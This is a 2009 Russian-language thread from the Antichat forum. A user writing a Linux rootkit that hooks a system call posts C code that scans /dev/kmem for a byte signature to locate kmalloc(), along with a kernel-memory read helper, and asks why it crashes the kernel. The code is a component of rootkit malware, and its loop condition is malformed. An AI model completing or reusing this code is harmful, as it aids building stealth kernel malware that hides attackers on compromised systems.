Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Проблема с kmalloc() (https://forum.antichat.xyz/showthread.php?t=114502)

4ek 04.04.2009 20:59

Проблема с kmalloc()
 
Доброго дня суток.
Пишу программу под nix (дистр - слака 12.1), обычный руткит, перехватывающий системный вызов.
Встал вопрос о том, каким образом найти адрес функции kmalloc(), чтобы вызвать по найденному адресу из user-mode.
Используется следующая функция, но почему то она находит адреса (причем куча) только после 0xc1######, хотя как мне кажется все системные функции должны находится в интервале от нижней границы 0xc0000000 до 0xc1000000.
Код:

unsigned long get_kma() 
{
          unsigned int i;         
            unsigned char buf[0x10000], *p, *p1;         
            unsigned long ret;         
            char c;                   
            kmem = open("/dev/kmem", O_RDONLY);       
                if (kmem<0) return 1;                   
            for (i = page_offset+0x100000; i<(page_offset; 0x10000000); i+=0x10000)         
            {
                      readkmem (buf,i,sizeof(buf));
                      //printf("%s\n",buf);
                      //c = getc(stdin);
                      p1 = (char*)memmem (buf, sizeof(buf), "\x68\xf0\x01\x00",4);
                      if (p1)
                      {
                              printf("kmalloc() is found!!!\n");
                              p = (char*)memmem(p1+4, sizeof(buf), "\xe8",1)+1;
                              if (p)
                              {
                                      //close (kmem);
                                      //return *(unsigned long *)p+i+(p-buf)+4;
                                      printf("----0x%x\n", *(unsigned long *)p+i+(p-buf)+4);
                                      c=getc(stdin);
                              }
                      }
          }
          close(kmem);
          return 0;
}

Пытался собственно вызвать один из полученных адресов - ядро улетает, приходится перезагружаться. В чем может быть проблема, почему не находит адрес kmalloc()?

4ek 05.04.2009 18:40

неужто ни у кого никаких идей нет? (
если что вот функция kmemread:
Код:

static inline void readkmem (void *m,unsigned off,int sz)
{
        if (lseek64(kmem,(unsigned long long) off,0)!=off){
                perror("kmem lseek"); exit(2);
        }
        if (read(kmem,m,sz)!=sz) {
                perror("kmem read"); exit(2);
        }
 }



Время: 21:29